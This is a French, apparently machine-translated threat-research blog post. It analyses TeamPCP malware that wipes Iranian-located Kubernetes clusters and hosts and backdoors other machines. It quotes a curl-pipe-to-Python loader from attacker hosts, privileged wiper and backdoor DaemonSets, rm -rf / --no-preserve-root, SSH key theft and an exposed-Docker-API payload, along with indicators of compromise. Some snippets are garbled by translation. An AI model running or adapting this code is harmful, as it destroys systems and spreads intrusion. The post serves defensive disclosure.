Nous avons découvert une nouvelle charge utile dans l'arsenal de TeamPCP, et celle-ci ne se contente pas de voler des identifiants ou d'installer des portes dérobées. Elle efface des clusters Kubernetes entiers.
Le script utilise exactement le même conteneur ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que nous avons décrits dans le Campagne CanisterWorm. Même C2, même code de porte dérobée, même /tmp/pglog chemin de dépôt. Le déplacement latéral natif de Kubernetes via DaemonSets correspond au mode opératoire habituel de TeamPCP, mais cette variante présente un élément inédit : une charge utile destructrice à visée géopolitique, ciblant spécifiquement les systèmes iraniens.
Aperçu général
Comme cet article de blog contient de nombreux détails techniques, voici un résumé des principales conclusions que nous avons tirées :
- 🐙 Le même boîtier ICP C2 que celui de CanisterWorm (
tdtqy-oyaaa-aaaae-af2dq-cai) - 🎯 La charge utile vérifie le fuseau horaire et les paramètres régionaux pour identifier les systèmes iraniens
- ☸️ Sur Kubernetes : déploie des DaemonSets privilégiés sur chaque nœud, y compris le plan de contrôle
- 💀 Les nœuds iraniens sont effacés et redémarrés de force via un conteneur nommé
kamikaze - 🔒 Sur les nœuds non iraniens, la porte dérobée CanisterWorm est installée en tant que service systemd
- 💀 Les nœuds iraniens sont effacés et redémarrés de force via un conteneur nommé
- 💣 Les hébergeurs iraniens non K8s obtiennent
rm -rf / --no-preserve-root - 🐘 La persistance déguisée en outils PostgreSQL :
pglog,pg_state,moniteur interne - 🔄 On a constaté que plusieurs domaines Cloudflare étaient utilisés en rotation comme infrastructure de diffusion de données
- 🪱 La dernière variante permet désormais des déplacements latéraux via le réseau
- 🔑 Propagation du SSH via des clés volées et l'analyse des journaux d'authentification
- 🐳 Exploite les API Docker exposées sur le port 2375 au sein du sous-réseau local
Le décorateur
Au début, nous avons remarqué qu'il indiquait simplement https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , qui contenait une charge utile unique. Par la suite, il a divisé cette charge utile en deux fichiers, comme on peut le voir ci-dessous.
#!/usr/bin/env bash
set -euo pipefail
if ! command -v kubectl &>/dev/null; then
ARCH="amd64"
[[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
chmod +x /tmp/kubectl
export PATH="/tmp:$PATH"
fi
PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -
rm -- "$0"Comme vous pouvez le voir, le téléchargement est en cours kubectl s'il n'est pas déjà installé. Ensuite, il télécharge kube.py provenant du même hôte, et l'exécute avant de s'effacer. C'est là que se trouve le code vraiment intéressant. Voici les dernières lignes du script, qui exposent clairement l'objectif du code, que nous allons analyser plus en détail :
if __name__ == "__main__": if is_k8s(): if is_iran():
deploy_destructive_ds() else:
deploy_std_ds() else: if is_iran():
poison_pill()
sys.exit(1)Comment il choisit sa cible
La première chose que fait la charge utile, c'est de déterminer où elle s'exécute. Deux vérifications :
def is_k8s():
return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \
"KUBERNETES_SERVICE_HOST" dans os.environDétection standard des pods Kubernetes. Un compte de service est associé par défaut à chaque pod.
Et puis ceci :
def is_iran():
tz = ""
if os.path.exists("/etc/timezone"): with open("/etc/timezone", "r") as f:
tz = f.read().strip() else:
try:
tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"],
stderr=subprocess.DEVNULL).decode().strip()
except:
pass
lang = os.environ.get("LANG", "") return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in langIl vérifie le fuseau horaire et les paramètres régionaux du système. Si la machine est configurée pour l'Iran (Asie/Téhéran, Iran, ou fa_IR), la charge utile emprunte un chemin très différent.
Quatre chemins, un seul scénario
L'arbre de décision est simple et impitoyable :
- Kubernetes + Iran: Déployer un DaemonSet qui efface tous les nœuds du cluster
- Kubernetes et autres environnements: déployer un DaemonSet qui installe la porte dérobée CanisterWorm sur chaque nœud
- Pas de Kubernetes + Iran:
rm -rf / --no-preserve-root - Pas de Kubernetes + autre chose: sortie. Il ne se passe rien.
L'essuie-glace : « kamikaze »
Le DaemonSet destiné à l'Iran s'appelle fournisseur d'hébergement - Iran. Le conteneur qu'il contient s'appelle kamikaze. On ne peut pas dire que ce soit très subtil.
def deploy_destructive_ds():
ds_name = "host-provisioner-iran"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: kamikaze
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
chroot /mnt/host reboot -f
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())Le DaemonSet monte le système de fichiers racine de l'hôte sur /mnt/host, supprime tout ce qui se trouve au niveau supérieur, puis force le redémarrage. Comme il s'agit d'un DaemonSet avec tolérances : [opérateur : Exists], elle est planifiée sur chaque nœud du cluster, y compris le plan de contrôle. Un kubectl apply et tout le cluster est hors service.
Le chemin de persistance
Pour les cibles non iraniennes, le DaemonSet (host-provisioner-std) est moins spectaculaire mais plus utile sur le plan opérationnel. Elle installe la porte dérobée CanisterWorm sur chaque nœud et l'enregistre en tant que service systemd :
def deploy_std_ds():
ds_name = "host-provisioner-std"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: provisioner
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
[Unit]
Description=System Monitor
After=network.target
[Service]
ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF_UNIT
chroot /mnt/host systemctl daemon-reload
chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
sleep infinity
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())La porte dérobée est la même que celle que nous avons décrite dans l'article consacré à CanisterWorm. Elle interroge le conteneur ICP toutes les 50 minutes à la recherche d'une URL binaire, télécharge et exécute tout ce qu'on lui demande. Le youtube[.]com Le dispositif d'arrêt d'urgence est toujours présent.
La « pilule empoisonnée »
Pour les systèmes iraniens qui n'utilisent pas Kubernetes, l'approche est plus rudimentaire :
def poison_pill():
cmd = "rm -rf / --no-preserve-root"
if os.getuid() == 0:
os.system(cmd)
else:
os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")S'il s'agit de l'utilisateur root, il efface le système. Sinon, il tente d'utiliser sudo sans mot de passe, puis essaie quand même. Même sans les droits root, il détruira tout ce qui appartient à l'utilisateur.
Pourquoi cela est important
TeamPCP est identifié depuis fin 2025 comme un acteur malveillant cloud, ciblant les API Docker mal configurées, les clusters Kubernetes et les pipelines CI/CD. Leur mode opératoire (identification de l'environnement, branchement spécifique à Kubernetes) est resté constant. Mais la Trivy et la campagne CanisterWorm ont montré qu'ils pouvaient opérer à l'échelle de la chaîne d'approvisionnement, et cette charge utile démontre qu'ils sont prêts à se montrer destructeurs quand ils le souhaitent.
Ce qu'il faut rechercher
Vérifiez la présence de DaemonSets dans kube-system que vous n'avez pas créé :
kubectl get ds -n kube-systemRechercher fournisseur d'hébergement - Iran ou host-provisioner-std. Vérifiez également tout DaemonSet qui monte hostPath : / dans un contexte de sécurité privilégié. Cette combinaison ne devrait jamais apparaître en dehors des agents au niveau de l'infrastructure, tels que le kubelet lui-même.
Du côté de l'hôte, vérifiez les éléments suivants :
- Un service systemd nommé
moniteur interne(systemctl status internal-monitor) - Fichiers à l'adresse
/var/lib/svc_internal/runner.py - Processus nommés
pglogdans/tmp/ - Connexions sortantes vers
icp0[.]iodomaines
Mise à jour : ça se propage maintenant
Une troisième version de la charge utile vient d'apparaître, hébergée sur https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Même porte dérobée ICP, même programme de destruction iranien, mais celui-ci n'a pas besoin de Kubernetes. Il se propage tout seul.
Les versions précédentes utilisaient des DaemonSets pour se déplacer au sein d'un cluster. Cette variante abandonne complètement cette approche et la remplace par deux méthodes de déplacement latéral : le vol de clés SSH et l'exploitation d'API Docker exposées. Elle analyse également le sous-réseau local /24 à la recherche de nouvelles cibles.
Voici comment il repère les machines à attaquer :
def get_accepted_targets():
targets = {}
for path in ["/var/log/auth.log", "/var/log/secure"]:
if os.path.exists(path):
try:
with open(path, "r") as f:
for line in f:
if "Accepted" in line:
match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
if match:
user, ip = match.groups()
if ip not in targets: targets[ip] = []
if user not in targets[ip]: targets[ip].append(user)
except: pass
return targetsIl analyse /var/log/auth.log et /var/log/secure pour les connexions SSH réussies, en extrayant à la fois le nom d'utilisateur et l'adresse IP source. Ceux-ci deviennent des paires ciblées pour la propagation. Pour toute adresse IP détectée sur le sous-réseau qui ne figurait pas dans les journaux d'authentification, le programme revient alors à essayer root, ubuntu, administrateur, et ec2-user.
Il récupère ensuite toutes les clés privées SSH qu'il trouve :
keys = []
ssh_base = os.path.expanduser("~/.ssh") for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
p = os.path.join(ssh_base, t)
if os.path.exists(p):
keys.append(p)Pour chaque cible, il vérifie deux ports. Le port 22 est utilisé pour la propagation SSH :
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", « PasswordAuthentication=no »,
"-o", « ConnectTimeout=5 », « -i », k, f"{user}@{ip}",
f"echo {b64_logic} | base64 -d | bash"]Le port 2375 est affecté par la faille de l'API Docker, ce qui permet de créer un conteneur privilégié avec le répertoire racine de l'hôte monté :
payload = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
"HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})Les deux méthodes aboutissent au même résultat get_remote_logic() charge utile, qui effectue la vérification du fuseau horaire iranien sur l'hôte distant. Les cibles iraniennes sont effacées, tous les autres reçoivent le pgmon.py porte dérobée installée en tant que service systemd.
C'est l'essuie-glace lui-même qui a changé. Les versions précédentes utilisaient rm -rf / --no-preserve-root sur les hôtes non-K8s, tandis que la variante DaemonSet utilisée find / -maxdepth 1 ... -exec rm -rf {} + avec un redémarrage forcé. Cette version s'aligne sur le trouver aborder avec redémarrer -f dans tous les domaines :
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -fCela vient tout droit d'un précédent article de TeamPCP proxy.sh et pcpcat.py des outils qui recherchaient les API Docker exposées et diffusaient des clés SSH à travers les sous-réseaux. La différence réside dans le fait que ces outils étaient des scripts autonomes destinés à la mise en place d'infrastructures. Celui-ci, quant à lui, intègre la porte dérobée CanisterWorm et le programme de destruction « Iran wiper ».
Quelques autres changements par rapport aux versions précédentes : le nom du service a été déplacé de moniteur interne à pgmonitor, le chemin d'installation a été déplacé de /var/lib/svc_internal/ à /var/lib/pgmon/, et la description dans systemd est désormais « Postgres Monitor Service ». Le camouflage de PostgreSQL gagne en cohérence.
Indicateurs de compromission
Réseau
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io(Boîtier ICP C2 à dépôt secret)https://souls-entire-defined-routes.trycloudflare[.]com/(livraison de la charge utile, en premier)https://investigation-launches-hearings-copying.trycloudflare[.]com/(livraison de la charge utile, seconde)https://championships-peoples-point-cassette.trycloudflare[.]com(livraison de la charge utile, troisième)
Kubernetes
- DaemonSet
fournisseur d'hébergement - Irandanskube-system - DaemonSet
host-provisioner-stddanskube-system - Noms des conteneurs :
kamikaze,responsable de l'approvisionnement
Host
/var/lib/svc_internal/runner.py/etc/systemd/system/internal-monitor.service/tmp/pglog/tmp/.pg_state/var/lib/pgmon/pgmon.py/etc/systemd/system/pgmonitor.service- Service Systemd :
pgmonitor(Description : « Service de surveillance Postgres ») - Service Systemd :
moniteur interne
Indicateurs de mouvement latéral
- Connexions SSH sortantes avec
StrictHostKeyChecking=noprovenant d'ordinateurs compromis - Connexions sortantes vers le port 2375 (API Docker) au sein du sous-réseau local
- Conteneurs Alpine privilégiés créés via l'API Docker sans authentification avec
hostPath : /montage par encadrement
... L'affaire est en cours. Restez à l'écoute pour les dernières nouvelles.

